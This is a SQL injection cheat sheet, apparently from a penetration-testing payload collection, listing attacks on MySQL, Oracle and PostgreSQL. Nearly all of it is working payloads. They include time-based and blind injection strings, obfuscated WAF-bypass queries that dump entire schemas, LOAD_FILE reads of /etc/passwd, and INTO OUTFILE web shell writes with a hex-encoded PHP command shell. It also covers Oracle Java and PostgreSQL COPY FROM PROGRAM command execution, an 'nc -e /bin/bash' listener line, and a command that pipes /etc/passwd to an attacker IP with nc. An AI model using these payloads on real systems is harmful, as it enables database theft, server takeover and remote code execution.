                            ?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
    ?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
    ?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2

MYSQL DIOS - Dump in One Shot

                            (select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#

    (select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#

    -- SecurityIdiots
    make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

    -- Profexer
    (select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)

    -- Dr.Z3r0
    (select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))

    -- M@dBl00d
    (Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

    -- Zen
    +make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

    -- Zen WAF
    (/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)

    -- ~tr0jAn WAF
    +concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+

    -- ~tr0jAn Benchmark
    +concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+

    -- N1Z4M WAF
    +/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+

    -- sharik
    (select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)

MYSQL Current queries

                            union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

    -- Dump in one shot example for the table content.
    union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #

MYSQL Read content of a file

                            Need the filepriv, otherwise you will get the error : ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

    ' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
    UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));

    If you are root on the database, you can re-enable the LOAD_FILE using the following query

    GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#

MYSQL Write a shell
Into outfile method

                            [...] UNION SELECT "" into outfile "C:\\xampp\\htdocs\\backdoor.php"
    [...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY ''
    [...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
    [...] union all select 1,2,3,4,"",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

Into dumpfile method

                            [...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
    [...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';

MYSQL Truncation

                            In MYSQL "admin " and "admin" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.

    `username` varchar(20) not null
    Payload: username = "admin               a"

### Oracle SQL Injection

Oracle SQL Default Databases

Name | Description
--- | ---
SYSTEM | Available in all versions
SYSAUX | Available in all versions

Oracle SQL Comments

Type | Description
--- | ---
`-- -` | SQL comment

Oracle SQL Version

    SELECT user FROM dual UNION SELECT * FROM v$version
                        SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
                        SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
                        SELECT version FROM v$instance;

Oracle SQL Hostname

    SELECT host_name FROM v$instance; (Privileged)
                        SELECT UTL_INADDR.get_host_name FROM dual;
                        SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
                        SELECT UTL_INADDR.get_host_address FROM dual;

Oracle SQL Database Name

    SELECT global_name FROM global_name;
                        SELECT name FROM V$DATABASE;
                        SELECT instance_name FROM V$INSTANCE;
                        SELECT SYS.DATABASE_NAME FROM DUAL;

Oracle SQL Database Credentials

Query | Description
--- | ---
`SELECT username FROM all_users;` | Available on all versions
`SELECT name, password from sys.user$;` | Privileged, <= 10g
`SELECT name, spare4 from sys.user$;` | Privileged, <= 11g

Oracle SQL List Databases

    SELECT DISTINCT owner FROM all_tables;

Oracle SQL List Columns

    SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
                        SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';

Oracle SQL List Tables

    SELECT table_name FROM all_tables;
                        SELECT owner, table_name FROM all_tables;
                        SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';

Oracle SQL Error based

Description | Query
--- | ---
Invalid HTTP Request | `SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual`
CTXSYS.DRITHSX.SN | `SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual`
Invalid XPath | `SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual`
Invalid XML | `SELECT to_char(dbms_xmlgen.getxml('select "'&#124;&#124;(select user from sys.dual)&#124;&#124;'" FROM sys.dual')) FROM dual`
Invalid XML | `SELECT rtrim(extract(xmlagg(xmlelement("s", username &#124;&#124; ',')),'/s').getstringval(),',') FROM all_users`
SQL Error | `SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))`
XDBURITYPE getblob | `XDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')).getblob()`
XDBURITYPE getclob | `XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob()`

Oracle SQL Blind

Description | Query
--- | ---
Version is 12.2 | `SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';`
Subselect is enabled | `SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)`
Table log_table exists | `SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);`
Column message exists in table log_table | `SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';`
First letter of first message is t | `SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';`

Oracle SQL Time based

    AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])

Oracle SQL Command Execution
Oracle Java Execution

                            List Java privileges:
    select * from dba_java_policy
    select * from user_java_policy

    Grant privileges:
    exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
    exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
    exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

                        Execute commands

                        10g R2, 11g R1 and R2: DBMS_JAVA_TEST.FUNCALL()
                        SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
                        SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual

Oracle Java Class

                            /* create Java class */
                            BEGIN
                            EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
                            END;
                            /

                            BEGIN
                            EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
                            END;
                            /

                            /* run OS command */
                            SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;

                        or (hex encoded)

    /* create Java class */
    SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw('' ''));
    EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual

    /* run OS command */
    SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;

### PostgreSQL injection

PostgreSQL Comments

    --
                        /**/

PostgreSQL chain injection points symbols

    ; #Used to terminate a SQL command. The only place it can be used within a statement is within a string constant or quoted identifier.
                        || #or statement

                        # usage examples:
                        /?whatever=1;(select 1 from pg_sleep(5))
                        /?whatever=1||(select 1 from pg_sleep(5))

PostgreSQL Version

    SELECT version()

PostgreSQL Current User

    SELECT user;
                        SELECT current_user;
                        SELECT session_user;
                        SELECT usename FROM pg_user;
                        SELECT getpgusername();

PostgreSQL List Users

    SELECT usename FROM pg_user

PostgreSQL List Password Hashes

    SELECT usename, passwd FROM pg_shadow

PostgreSQL List Database Administrator Accounts

    SELECT usename FROM pg_user WHERE usesuper IS TRUE

PostgreSQL List Privileges

    SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

PostgreSQL Check if Current User is Superuser

    SHOW is_superuser;
                        SELECT current_setting('is_superuser');
                        SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

PostgreSQL Database Name

    SELECT current_database()

PostgreSQL List Database

    SELECT datname FROM pg_database

PostgreSQL List Tables

    SELECT table_name FROM information_schema.tables

PostgreSQL List Columns

    SELECT column_name FROM information_schema.columns WHERE table_name='data_table'

PostgreSQL Error Based

    ,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
                        ,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
                        ,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
                        ,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)

                        ' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
                        ' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
                        ' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
                        ' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1

PostgreSQL XML helpers

    select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row

                            The query_to_xml above returns all the results of the specified query as a single result. Chain this with the PostgreSQL Error Based technique to exfiltrate data without having to worry about LIMITing your query to one result.

                            select database_to_xml(true,true,''); -- dump the current database to XML
                            select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema

PostgreSQL Blind

    ' and substr(version(),1,10) = 'PostgreSQL' and '1  -> OK
                        ' and substr(version(),1,10) = 'PostgreXXX' and '1  -> KO

PostgreSQL Time Based

                        Identify time based
                        select 1 from pg_sleep(5)
                        ;(select 1 from pg_sleep(5))
                        ||(select 1 from pg_sleep(5))

                        Database dump time based
                        select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1

                        Table dump time based
                        select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1

                        Columns dump time based
                        select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
                        select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
                        AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
                        AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))

PostgreSQL File Read

    select pg_ls_dir('./');
                        select pg_read_file('PG_VERSION', 0, 200);

                        NOTE: Earlier versions of Postgres did not accept absolute paths in pg_read_file or pg_ls_dir. Newer versions (as of this commit) will allow reading any file/filepath for super users or users in the default_role_read_server_files group.

                        CREATE TABLE temp(t TEXT);
                        COPY temp FROM '/etc/passwd';
                        SELECT * FROM temp limit 1 offset 0;
                        SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
                        SELECT lo_get(16420); -- use the OID returned from the above
                        SELECT * from pg_largeobject; -- or just get all the large objects and their data

PostgreSQL File Write

    CREATE TABLE pentestlab (t TEXT);
                        INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
                        SELECT * FROM pentestlab;
                        COPY pentestlab(t) TO '/tmp/pentestlab';

                        Or as one line:

    COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';

    SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
    SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
    SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport

PostgreSQL Command execution

                            DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
                            CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
                            COPY cmd_exec FROM PROGRAM 'id';        -- Run the system command via the COPY FROM PROGRAM function
                            SELECT * FROM cmd_exec;                 -- [Optional] View the results
                            DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Remove the table

                            Using libc.so.6
    CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
    SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

Bypass Filter

                           Using CHR
                           SELECT CHR(65)||CHR(66)||CHR(67);

    Using Dollar-signs ( >= version 8 PostgreSQL)
    SELECT $$This is a string$$
    SELECT $TAG$This is another string$TAG$